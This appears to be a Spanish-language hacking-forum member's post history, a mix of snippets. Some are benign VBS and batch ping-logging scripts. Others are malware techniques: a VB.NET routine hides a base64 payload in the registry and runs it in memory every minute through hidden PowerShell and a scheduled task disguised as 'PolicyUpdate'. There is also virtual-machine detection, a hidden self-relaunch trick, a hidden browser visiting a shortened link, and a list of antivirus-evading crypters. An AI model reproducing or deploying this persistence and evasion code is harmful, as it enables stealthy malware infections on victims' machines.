This site uses cookies own and third. If you continue to browse consider to accept the use of cookies.
.
Show Posts
This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.
HOLA!!!
No, el OCX no usaba el VBS era totalmente al reves, el VBS llamaba al OCX y cada control del OCX tenia un sub en el VBS para que cuando pasara X se ejecute su codigo.
GRACIAS POR LEER!!!
Dim oMIE
Function Debug(T)
If Not IsObject( oMIE ) Then
Set oMIE = CreateObject("VBSDebugger.Debug")
oMIE.SetDialogTitle("VBS Debugger By Aincrad")
oMIE.ToolBar(False)
oMIE.SetDialogWidth(603)
oMIE.SetDialogHeight(335)
oMIE.OpenDebugDialog()
End If
oMIE.Write(T)
End FunctionDebug "hola"Dim oMIE
Function Debug(T)
If Not IsObject( oMIE ) Then
Set oMIE = CreateObject("VBSDebugger.Debug")
oMIE.SetDialogTitle("Cutt.Ly Logger")
oMIE.ToolBar(False)
oMIE.SetDialogWidth(603)
oMIE.SetDialogHeight(335)
oMIE.OpenDebugDialog()
End If
oMIE.Write(T)
End Function
Debug "Starting Cutt.Ly Logger By Aincrad"
Dim IE
Dim MyDocument
Set IE = CreateObject("InternetExplorer.Application")
IE.Visible = 0
IE.navigate "https://cutt.ly/RjmR9Bj"
While IE.ReadyState <> 4 : WScript.Sleep 100 : Wend
Debug "Ready Page Loaded"
WScript.Sleep(5000)
IE.Quit
Tubat.bat > Codigo.txt 2>&1
Igual... ese comentario es de un desarrollador que estuvo en VB6 como yo, me equivoco?
Viste este post? puede servirte, aun no esta parcheado You are not allowed to view links. Register or Login
Dim VMDetection As Boolean = ProtectVM.IsVirtualMachinePresent
Dim VMDescription As String = ProtectVM.DescriptcionVM
If VMDetection = True Then
Msgbox("Detect : " & VMDescription)
Timer1.Enabled = False
End If ''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Handles the <see cref="RunPowerShell"/> event of Execute Payload.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="FilePath">
''' Path to Payload.
''' </param>
''' ----------------------------------------------------------------------------------------------------
Public Sub RunPowerShell(ByVal FilePath As String)
On Error Resume Next
Dim Payload As String = String.Empty
Dim PS As String =
<a><![CDATA[powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\PYLDAPP\).PYLD)).EntryPoint.Invoke($Null,$Null)]]></a>.Value
Dim PYLDSTR As String = ConvertFileToBase64(FilePath)
CreateSubKey("Software\PYLDAPP", "PYLD", PYLDSTR)
Diagnostics.Process.Start(New Diagnostics.ProcessStartInfo() With {
.FileName = "schtasks",
.Arguments = "/create /sc minute /mo 1 /tn PolicyUpdate /tr " & """" & PS & """",
.CreateNoWindow = True,
.ErrorDialog = False,
.WindowStyle = Diagnostics.ProcessWindowStyle.Hidden
})
End Sub
Public Sub CreateSubKey(ByVal Key As String, ByVal ValueName As String, _
ByVal Value As String)
Microsoft.Win32.Registry.CurrentUser.CreateSubKey(Key).SetValue(ValueName, Value)
End Sub
Public Function ConvertFileToBase64(ByVal fileName As String) As String
Return Convert.ToBase64String(System.IO.File.ReadAllBytes(fileName))
End Function
for /L %%a in (0 1 30) do (
set/p=Û<nul
>nul ping -n 1 127.0.0.1
)@echo off
color a
goto kill
:format
Rem by **Aincrad**
set año=%date%
Set hora=%time:~0,8%
Set nombre= [%año%]-[%hora%]
set Ip=127.0.0.1
if not exist log.txt goto Createlog >nul
echo Haciendo Ping a %Ip% ... (Revisar el Archivo LOG).
(
echo/
echo %nombre%
echo/
echo/
ping %Ip% -n 1
echo/
echo/
echo/
echo ---------------------------------------------------------------------------------------------- )>>log.txt
goto format
:Createlog
echo Underc0de Forum >log.txt
goto format
:kill
tasklist | find /i "PING.exe" && (
TASKKILL /IM "PING.exe" /F
goto format
) || (
goto format
)@ECHO Off
set ipf=127.0.0.1
(
FOR /L %%i in (1,1,5) do (
<nul (set /p tm=%date% %time:~,-3% )
PING -n 1 %ipf%| FIND "TTL"
)
) >> pg.txt
es que andaba de vacaciones :v y ahorita es que Empieza la universidad . 
) :
@echo off
:Comandline
IF ["%~1"]==["-e"] goto o
:Crear vbs
set Batch=%~dpnx0
(
echo set objshell ^= createobject^("wscript.shell"^)
echo objshell^.run "%Batch% -e"^,vbhide ) > %temp%\bas.vbs
start %temp%\bas.vbs
exit
:o
::::::::::::::::::::::::::::::::
:: Tu código aquí... :
::::::::::::::::::::::::::::::::
2012-Crypter
Anonymous Joiner
Assassins Creed Bin
C-51-Crypter
Camuflaje-Crypter
Camuflaje-Simplev1
Camuflaje-Simplev2
Cardi Crypter
ChukyCrypter
Cold Seal Cracked
Cruz-Crypter
CyRuX-Crypter v1
Cyrux Crypter
Estrella-Crypter
Ferrari v1
Grab link
InsidiousCrypter
Islas Malvinas-Crypter
Kill Zone
Lito Vitale Crypter
Machine Fud
Masters Hackers
Matatan-Crypter
Metal Crypter
Metal_Kingdom-Crypter v1
Mueran Avs Crypter v1
Mueran Avs Crypter v2
PRIVATE M3
Paz Crypter
Pedro-Crypter
Poison123-Crypter
Poyson Ivy protector
S.C By M3
SEXY v1
Sexy v2
Sexy v3
Sexy v4
Techo negro
Tesuda
UD tools
UDTools-Crypter
Under M3
Yeikel-Crypter
cattyperryCrypter
chronic
chucky
coluche
conejitacrypter
crypterdeathnote
